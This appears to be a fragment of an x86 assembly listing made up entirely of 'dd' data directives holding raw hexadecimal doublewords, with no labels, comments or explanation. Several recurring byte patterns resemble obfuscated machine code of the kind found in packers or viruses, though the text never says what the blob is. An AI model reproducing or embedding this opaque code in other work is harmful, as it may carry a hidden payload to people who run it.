		dd 17042444h, 45000000h, 345BC355h, 74B34B23h, 0C460A068h
		dd 8890F7Ch, 50000000h,	60310F52h, 81585A61h, 635F2434h
		dd 6A7CDBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0D98E66C3h, 8DAAB074h, 21B02785h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 5D5A3E38h, 3330B548h, 371BD8Bh, 0F50061Eh, 1686h, 0CE86000h
		dd 25000000h, 0CCB58ADh, 5E78AEE3h, 5B162E06h, 89616160h
		dd 0BF662404h, 95FFC329h, 61E1441h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0ABC35545h,	459D8B2Bh, 0E9061E1Bh
		dd 0Fh,	5F85E282h, 2A268E3Dh, 2C94C1D8h, 66CF6E29h, 0F871C781h
		dd 6985C761h, 3061E31h,	66000000h, 0BD83D88Bh, 621B027h
		dd 13840F00h, 0F000000h, 682h, 119D2300h, 0E9061E0Ah, 1Dh
		dd 3050D88Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 9BD8BC0h,	89061E18h, 1E297195h, 69BD8306h
		dd 3061E31h, 4E1850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0A5B3D6C3h, 6BE8AED3h
		dd 27BD831Bh, 621B0h, 4B1840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F29A7DC3h
		dd 0BB664207h, 0B5FF2694h, 621B027h, 0CB816653h, 0FF5B918Dh
		dd 1E155595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0DD8B7E23h, 391BBB66h, 8BD98B66h
		dd 21B01BB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F026216h, 8Eh, 106C700h,	66000100h
		dd 3764DB81h, 11E896h, 6AEE0000h, 5E8C46B7h, 447F7BB2h
		dd 887ECE7Dh, 508389B4h, 14E852h, 628F0000h, 0E90A2D41h
		dd 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h, 0F5B3148h, 6E831h
		dd 0FDE30000h, 749BFE55h, 5F585A5Fh, 0F98B6650h, 0DB816696h
		dd 0B5FF3D91h, 621B027h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0ACC35747h, 0EEBFD691h, 7007D0BBh, 0FFDC8A1Ch
		dd 1E2B3D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B5892B7Eh, 61E2B31h, 0B01BB58Bh
		dd 9D8B0621h, 61E22D1h,	2A21858Bh, 0D781061Eh, 51B041E2h
		dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B46ECC3h, 1E29DD9Dh, 75958B06h
		dd 6A061E23h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0A855C357h, 9E96D80h, 95000000h
		dd 0FA63C6E7h, 308B73C3h, 0C283FE8Bh, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0FC605050h, 8B0Fh, 5B610000h, 4870Fh, 0BB660000h, 508977ADh
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 7ADC938Bh, 0B99D29B7h, 0E8061E1Ch, 0Ch
		dd 72238D4Dh, 0B2883C67h, 0C6CB1AF5h, 6B08DF81h, 8D5B6FCCh
		dd 21C4A485h, 0DDBD8B06h, 89061E0Ch, 0B886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0A5F6020Ch, 7F3D1F8h, 6A006A3Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 591DC355h
		dd 80AFF9EFh, 0C781666Ah, 0B5FF1E91h, 621B027h,	50CABB66h
		dd 32F995FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0EF81A7C3h, 24FCAB74h, 69BF6650h
		dd 2434896Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0F6C35747h, 0B8617B6Ch,	66EC3E72h, 0FFF8DF8Bh
		dd 21B027B5h, 168B0F06h, 60000000h, 2A89BD8Bh, 9E9061Eh
		dd 7000000h, 0B157CEB4h, 0F3EA3DE3h, 4995FF61h,	6A061E30h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B218C350h, 0DB9BD83h, 0F00061Eh,	3E84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0F75879F1h, 6860F8Dh, 8B000000h,	1E14F19Dh
		dd 29BD8B06h, 50061E1Bh, 6949BF66h, 66243489h, 0FF8ED8BFh
		dd 21B027B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0FACA86A4h, 90CF8E44h, 2FB9BD8Bh
		dd 0B70F061Eh, 4D95FFFAh, 6A061E16h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 36B3C356h
		dd 359C9D1Eh, 8509F52Ah, 61E0955h, 0B027B5FFh, 81660621h
		dd 0FF7B26F3h, 1E09DD95h, 8E85106h, 71000000h, 9ECBB28Eh
		dd 0E91B9E2Eh, 12h, 0C1EB8036h,	23544725h, 70E2AF2Bh, 9C5C2761h
		dd 5B5F28CAh, 2BD9BD83h, 0F02061Eh, 7584h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0F98B03CAh, 0E2D858Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0A6730C3h, 0F6E781DBh
		dd 0C637384Ch, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0C5A840C3h, 93E45FB6h, 4898589h
		dd 85C7061Eh, 61E1F81h,	0
		dd 11E9h, 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h
		dd 0A1BBD73Fh, 0E945E71Bh, 0FFFFF308h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 58C35545h, 0D86E28F5h, 8B5BAC05h
		dd 5FF557C1h, 19DD858Dh, 8B60061Eh, 1E0785B5h, 199D2906h
		dd 61061E2Dh, 0BF525090h, 72F2B0B8h, 8BBB310Fh,	5A1BA3A3h
		dd 0BB665058h, 6A90B6D0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F2BC351h, 688h, 91BD8B00h
		dd 6A061E07h, 1DBD8B00h, 6A061E0Ah, 799D8B00h, 2B061E2Dh
		dd 1E1DDDBDh, 9F858D06h, 81062290h, 0C29A6CDFh,	5C0837Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0FEC35141h
		dd 86D6B6EAh, 10E9AD84h, 10000000h, 1287F4FDh, 0F843B888h
		dd 7C1A2C4Fh, 909750D4h, 5A0C70BBh, 0FE8B501Ch,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0CA79E34Dh, 0B6024CE3h, 2960006Ah, 1E2B89BDh, 5952906h
		dd 61061E0Eh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0FFF8C6C3h, 1E21ED95h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 698E36A3h, 5DBBC120h, 522AEAE1h, 1B19BD8Bh, 8D5F061Eh
		dd 2194B68Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 653C7276h, 0E094657Dh, 816622BCh
		dd 0F616DF3h, 88Ch, 0B5015300h,	61E1A39h, 6AD1FF5Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1063C355h, 0F1DBAE5h, 29F543E3h, 1E0E399Dh, 2DBD8306h
		dd 1061E27h, 55850Fh, 6AF50000h, 53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 567A9539h
		dd 0A0BFE103h, 535362DAh, 12E95Bh, 7ED10000h, 0FCAC1829h
		dd 0DA7B2FD1h, 0D7D37CA7h, 0D2CA6EAAh, 24048950h, 97DF8166h
		dd 0F995FF02h, 66061E32h, 0E9ACB2BBh, 0D64h, 0E8h, 0ED815D00h
		dd 62290A9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	28C35545h, 5E7E2CF3h, 1F3D8589h, 6AF8061Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3A8BC357h, 1A919D8Bh, 858D061Eh, 6218DFEh, 10E9h, 6371FE00h
		dd 99C4614Fh, 7F1FDF39h, 51373218h, 575090A6h, 8832BF66h
		dd 0B589905Fh, 61E146Dh, 35FF64h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0A267C357h, 0B9138C91h, 698D89B2h, 64061E16h, 2589h
		dd 0FE80000h, 4F000000h, 734561DEh, 99303BE5h, 76D7D9Dh
		dd 8E0FD4C7h, 6, 805BD8Bh, 0FF5B061Eh, 1E1D9185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 14E95660h, 0BC000000h, 9D54A913h, 0B33A114Ah, 0D2E5F8C9h
		dd 45AFA4E4h, 6A9661B1h, 0AD9529FFh, 0FF061E2Dh, 1E1F59B5h
		dd 41BD8B06h, 0FF061E0Dh, 1E165595h, 10AE906h, 10E90000h
		dd 0F0000000h, 4C36522h, 0A6C17A5Eh, 0E0DB6259h, 0B031727Dh
		dd 11E900h, 76020000h, 67E14E97h, 5D96E7E5h, 0B1E6402Ch
		dd 0E615E65Ch, 5919BF70h, 71E4482Fh, 0C69BD2Bh,	613C061Eh
		dd 0C6830Fh, 9D8B0000h,	61E2EEDh, 1DD9D01h, 0B60F061Eh
		dd 499589C8h, 0BA061E23h, 6, 14E8C18Bh,	5E000000h, 1A9559D3h
		dd 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 8B630E6Eh,	1E0325BDh
		dd 0E8C15F06h, 2D952904h, 66061E12h, 0B70FE2F7h, 0D4BF66FFh
		dd 8BC82BB6h, 499529D1h, 0E9061E20h, 6,	1FF1BD29h, 858B061Eh
		dd 61E2C59h, 0C08318B3h, 8ADE8B07h, 0C083FDh, 0EA1BD89h
		dd 0D03B061Eh, 14830Fh,	9D8B0000h, 61E02A5h, 37E9h, 0F88B6600h
		dd 14218D01h, 8D8B061Eh, 61E1FA5h, 7909BF66h, 0F01E183h
		dd 1B84h, 0A5A58300h, 0FE061E1Fh, 1FD9D89h, 89F8061Eh
		dd 1E2C5995h, 0E9FE8B06h, 0
		dd 0DD4B58Dh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FC418DC3h, 0D158D09h, 6A061Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 42C35040h
		dd 9F2272F4h, 0F9378A9h, 66FCF9BFh, 95FFD88Bh, 61E26C1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h
		dd 1A65837Bh, 41DC909Bh, 803B9h, 0A1950100h, 83061E23h
		dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0B8DA5C3h, 1620A875h, 0FB8B6682h,	0B8FCh
		dd 9EBF0000h, 0BA08294Eh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A8C35141h
		dd 0F8D23F6h, 182h, 33ADF900h, 3E8D1C2h, 4E983D0h, 9D8BF475h
		dd 61E05D9h, 38C0Fh, 0B70F0000h, 880DF9h, 8C0F0000h, 2
		dd 958B5F52h, 61E2375h,	0C99D8950h, 5B061E1Fh, 324D8D8Bh
		dd 8166061Eh, 50FC6BF3h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0B70FF958h, 59BD83DBh, 61E02h, 88840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FE3488C3h, 0DA59501h, 0B8061Eh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 9EE9C352h, 3084ABFCh, 8D9589E8h, 8D061E32h, 1E4CB88Dh
		dd 8A0F06h, 0FF000000h,	53006AE1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 6C55BBE9h, 0C72824E0h
		dd 1A29BD8Bh, 0BD83061Eh, 61E3169h, 2A840F00h, 0E9000004h
		dd 0Eh,	0C9B6A744h, 5C253485h, 0BDBF3B9Ah, 0BD837C60h
		dd 61E3169h, 25840F01h,	60000004h, 4FD9501h, 8361061Eh
		dd 1E3169BDh, 860F0306h, 3DAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 22C35343h, 44EC076Ch, 0E59D8B88h
		dd 60061E19h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	56C35545h, 830FBD5Ch, 0B331BB59h, 8C664E4Eh, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0B4D215A8h, 29B5312Bh, 80061E08h, 0CE904E1h,	0E5000000h
		dd 0A55F7D87h, 622F02C7h, 0E9048AA1h, 0Dh, 753C6240h, 46543C33h
		dd 17AC41D3h, 0FC90AE7h, 12284h, 7E800h, 0FA250000h, 25E81835h
		dd 0D1BD8908h, 5F061E1Ch, 1A11858Bh, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8533D1C3h
		dd 61E14BDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	22C35545h, 0A6B6FA8Ch, 188A0FF0h, 0E9000000h, 13h
		dd 8B3BD6B5h, 374F8958h, 197CF544h, 485F2A17h, 50407AA7h
		dd 0B727BB66h, 66240489h, 5E91C381h, 0BD89006Ah, 61E03FDh
		dd 8A94AA68h, 24348155h, 55959755h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 29C35141h, 95FFEC76h, 61E1441h
		dd 2E1BD03h, 8589061Eh,	621B027h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0FAC35242h,	1CBE9h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 15E23225h, 7C867EA4h, 6830F00h, 89000000h, 1E2FF1BDh
		dd 1DBD8B06h, 8B061E16h, 21B01F85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD899DACh
		dd 61E1FA9h, 208D9D29h,	0C7061Eh, 18h, 6840Fh, 0B5290000h
		dd 61E3385h, 0B023B58Bh, 0BF0F0621h, 0C9858BD9h, 89061E1Ch
		dd 1E1B91B5h, 8B068906h, 1E0E51BDh, 31DB8006h, 1A11858Bh
		dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 6C5B85C3h, 4689746Eh, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D5A5E59Dh
		dd 529C8447h, 50965C67h, 68D0F52h, 50000000h, 5A310F52h
		dd 0E9310F58h, 0Ah, 0E774666Bh,	746AAD0Fh, 585A238Bh, 5800F50h
		dd 57000000h, 5BDF8B66h, 10E996h, 1F3F0000h, 0C2218C9Fh
		dd 0D2FB09AEh, 0FEE5CC2Ah, 0B5FF4EABh, 621B01Fh, 6800Fh
		dd 85890000h, 61E0DF1h,	9D8D89h, 0B168061Eh, 0E9E8C454h
		dd 14h,	754363C5h, 32BD71D0h, 3552EAh, 766A5761h, 729E47AFh
		dd 4E240481h, 89175AAFh, 1E079985h, 27858D06h, 6A0621B0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 531BC351h, 1BAD9D8Bh, 8B90061Eh, 605750DEh
		dd 0C050BB66h, 8B905B61h, 1E1AA19Dh, 4195FF06h,	6A061E14h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 37B5C357h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 9833B8Eh, 1E1A45B5h, 6985C706h
		dd 3061E31h, 66000000h,	811C9CBFh, 0F568E9DFh, 27BD837Fh
		dd 621B0h, 38840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 991FE9C3h, 118B0D2h
		dd 1E07D1B5h, 27E906h, 7E90000h, 85000000h, 0D89F0BDFh
		dd 3050371Ch, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 918D31C0h, 0F061E2Ch, 580h, 0F7816600h, 0BD83D9D0h
		dd 61E3169h, 79850F03h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 796BC356h
		dd 0F7816602h, 9589C030h, 61E3355h, 0B027BD83h,	0F000621h
		dd 44384h, 0B5FFFC00h, 621B027h, 0FFF9BF0Fh, 1E155595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FBBF0F02h, 0B01BB58Bh, 85010621h, 61E25DDh
		dd 7E9h, 9A69D800h, 6FF5C946h, 106C7h, 80600001h, 8B66BED1h
		dd 12E861C7h, 1F000000h, 116E939Dh, 0F0106856h,	4BDBBD1h
		dd 835B1220h, 0FE985h, 32F50000h, 45A64512h, 0BF6198F2h
		dd 8DC2E6C3h, 66965BF2h, 9650DF8Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 79C35040h, 0F1BD894Eh, 0F061E2Ah
		dd 585h, 0D5DDBB00h, 0B5FF3BF4h, 621B027h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D5C35242h, 0FFFE8B66h
		dd 1E2B3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 1FC5E3B9h, 9E885h, 5E2B0000h, 18F86697h
		dd 0E9338215h, 14h, 0C5398F9Ch,	8F9E7A0Dh, 0A54C3C8Bh
		dd 7601A456h, 0FA17A914h, 1BB58B5Fh, 6A0621B0h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B744C352h, 5CFFEC70h, 81665574h, 0F07EADBh,	858BD9B7h
		dd 61E2A21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	56C35747h, 7A760F6Ah, 0C48689A9h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4C8EC355h, 0F03AFCFFh, 0B2CCA95Bh, 6830Fh, 0BD8B0000h
		dd 61E0C39h, 68C0Fh, 95890000h,	61E1ADDh, 12E8h, 0D02FE000h
		dd 5B2FB1EBh, 0C4BF4CCEh, 0AF8C0D6Fh, 0F5BF10BDh, 75958B5Bh
		dd 80061E23h, 0C28308D7h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 429E17ADh
		dd 3EF27B47h, 89F88A6Ch, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h
		dd 0EDDF97C3h, 0BD8B6052h, 61E2365h, 2DAD9D8Bh,	0E961061Eh
		dd 0Bh,	96C5C8E4h, 5CCF0A63h, 8DD6A7A4h, 21C4A485h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 4C7B690Bh, 37EDE2DAh, 8B66A052h, 0F8B70FFAh,	0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 1B47A2C3h, 0C77D3FD9h, 6A1C15EAh,	4820F00h
		dd 66000000h, 0FFD975BFh, 21B027B5h, 2AF38006h,	32F995FFh
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4990AEC3h, 89818E1Eh, 1E0449BDh, 8B669606h
		dd 8B9650F9h, 1E2A299Dh, 27B5FF06h, 6A0621B0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 8369C350h, 0BD4BA613h, 340C6E14h, 2C4CE0BFh,	0D8BF0F58h
		dd 304995FFh, 9D8B061Eh, 61E03E5h, 0DB9BD83h, 0F00061Eh
		dd 4284h, 59952900h, 96061E22h,	7569BB66h, 0EE950h, 69BA0000h
		dd 30A3DD54h, 68AD3531h, 700A7A91h, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 79BD8BECh
		dd 0FF061E0Eh, 21B027B5h, 4D95FF06h, 0FF061E16h, 21B027B5h
		dd 8763BF06h, 95FF3358h, 61E09DDh, 2BD9BD83h, 0F02061Eh
		dd 6084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0D068FE3h, 0AF47B6BDh, 858B58CEh
		dd 61E0E2Dh, 0D9980CBFh, 0FD952913h, 0C6061E2Ch, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 1B5F73C3h, 89FA7FB1h, 1E160195h, 8185C706h, 61E1Fh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 69A2C353h, 0FE69946Ch,	0F860A747h
		dd 6129E580h, 0FFF3F6E9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 4503DA8Fh
		dd 21B7AB8Dh, 156C47Bh,	1E01DD95h, 0DE95F06h, 0DE000000h
		dd 8E138B04h, 763CB55Ch, 415F3919h, 8D89C18Bh, 61E0131h
		dd 19DD858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 601D85C3h, 5090AE9Ch, 6A90DA8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0D3FCC353h, 8BF79C57h, 1E064D9Dh,	7D858906h
		dd 6A061E0Ch, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0A3D8AC74h, 0BD8BFCBDh, 61E0835h
		dd 0F6D38166h, 89006A76h, 1E0E5D9Dh, 0EA858D06h, 6A06229Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 837CC355h, 9D31A274h, 61E21D5h, 8105C083h
		dd 0B62E05C7h, 10E99079h, 1000000h, 66FADC13h, 0E635B0E5h
		dd 69CA5FDCh, 50E7CE84h, 6E8h, 30DDBB00h, 8B3428ABh, 6A905BDEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FC5C357h, 38Fh, 0D98B6600h, 9D89006Ah, 61E04E1h
		dd 2E018D89h, 6A061Eh, 10E8h, 0D878D800h, 0EA2164DFh, 3A15C0EFh
		dd 0F666CD7Fh, 18D0F21h, 0F9000000h, 0ED95FF5Fh, 6A061E21h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 941C350h,	4AD2DB64h, 0E9E4CBF0h, 0Eh, 82E5A860h
		dd 0E67E04E3h, 330EBE97h, 9D0BD68Fh, 61E001Dh, 94B68D8Dh
		dd 0C7810621h, 23F7C129h, 0B501D1FFh, 61E2751h,	272DBD83h
		dd 0F01061Eh, 4585h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0A9B7C3h, 31C1E355h, 1E23018Dh
		dd 0F026A06h, 6650F9B7h, 89F3BFBBh, 0F8602404h,	830Fh
		dd 0FF610000h, 1E32F995h, 96E9FC06h, 0E800000Eh, 0
		dd 0F4ED815Dh, 0F806229Fh, 1CED9D8Bh, 858D061Eh, 6218DFEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0BDC35242h
		dd 6CFD3894h, 0F8F781C8h, 8903AEC5h, 1E09FD85h,	0DE8B6606h
		dd 39BB6690h, 0BFBF500Fh, 9005DB73h, 0DE9h, 52586E00h
		dd 7E5CA94Bh, 9BBAF30Eh, 870FC070h, 8, 2810Fh, 77B70000h
		dd 35FF64h, 0E8000000h,	13h, 0C0128FAFh, 0EC89E71Eh, 0B81F4286h
		dd 0C1F0A010h, 0F14257Ch, 68Ch,	5852900h, 5F061E23h, 258964h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8351C350h, 8616FCFBh, 0F98B66C4h
		dd 1D9185FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 12B786C3h, 0A5BB19D8h, 0F65F4EBh
		dd 38Ch, 5BFC5300h, 6AFF6Ah, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0A2B80C3h, 267DACA7h
		dd 9E8E2DFh, 0F6000000h, 3325B537h, 0AE0B70ECh,	5FFE8B66h
		dd 1475B5FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B7ECC8C3h, 71BD01A8h, 0FF061E0Ch
		dd 1E165595h, 120E906h,	81660000h, 0B0C576F3h, 70E6FC00h
		dd 0FE971E4h, 0B9000000h, 84989FCBh, 453BF84Fh,	20D75935h
		dd 613C902Fh, 0F8830Fh,	9500000h, 1E2965B5h, 0B60F5F06h
		dd 148D0FC8h, 0E9000000h, 0Fh, 7F6A66E9h, 0ABE7A0BDh, 75697D81h
		dd 0BA650D3Eh, 6, 238D9D03h, 0C18B061Eh, 0FE9h,	6D96B700h
		dd 0AB7FE8B2h, 3102A939h, 87B83CF7h, 6604E8C1h,	0F9BC36BFh
		dd 89E2F766h, 1E1A919Dh, 0BFC82B06h, 697789F7h,	8166D18Bh
		dd 8B08D8E7h, 1E29F99Dh, 5E906h, 0DF8B0000h, 8BFEB70Fh
		dd 1E17F585h, 85BD8906h, 83061E21h, 870F07C0h, 0
		dd 6600C083h, 728BEF81h, 30659D8Bh, 0D03B061Eh,	11830Fh
		dd 8D090000h, 61E0889h,	4DE9h, 899D2900h, 8B061E07h, 1E0E618Dh
		dd 13E806h, 0AC9C0000h,	0A1322A20h, 34E7A33Ah, 2A06D25Fh
		dd 97E30338h, 0CD9D8B95h, 5F061E0Ch, 0F01E183h,	1984h
		dd 61A58300h, 0FE061E0Eh, 9589FE8Bh, 61E17F5h, 0CADB8166h
		dd 0E9D0h, 0B58D0000h, 6221769h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 18h, 26C35747h, 4464540Ah, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 75D45FC3h, 0BC2251BBh, 0ECDF8157h, 5B41E972h, 2EF4BF66h
		dd 26C195FFh, 89F5061Eh, 1E1CDD9Dh, 7DCB906h, 0BD8B0000h
		dd 61E0971h, 0F9FCE183h, 919D8BFCh, 0B8061E1Ah,	0
		dd 0E860Fh, 60600000h, 5E961h, 632D0000h, 619E946Bh, 0BAh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 59BD8B0Ah, 0AD061E03h, 0E8D1C233h, 0E983D003h
		dd 0E8F47504h, 6, 598C97D4h, 11E9D758h,	95000000h, 0B0D197BFh
		dd 16921481h, 1D4AB1CCh, 0A7CA855Fh, 0D8A0F5Bh,	60000000h
		dd 19E59D8Bh, 0B0B9061Eh, 6158A49Dh, 880Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0BAFE1295h, 299D8D89h, 0BF66061Eh, 958B12DEh, 61E2375h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h
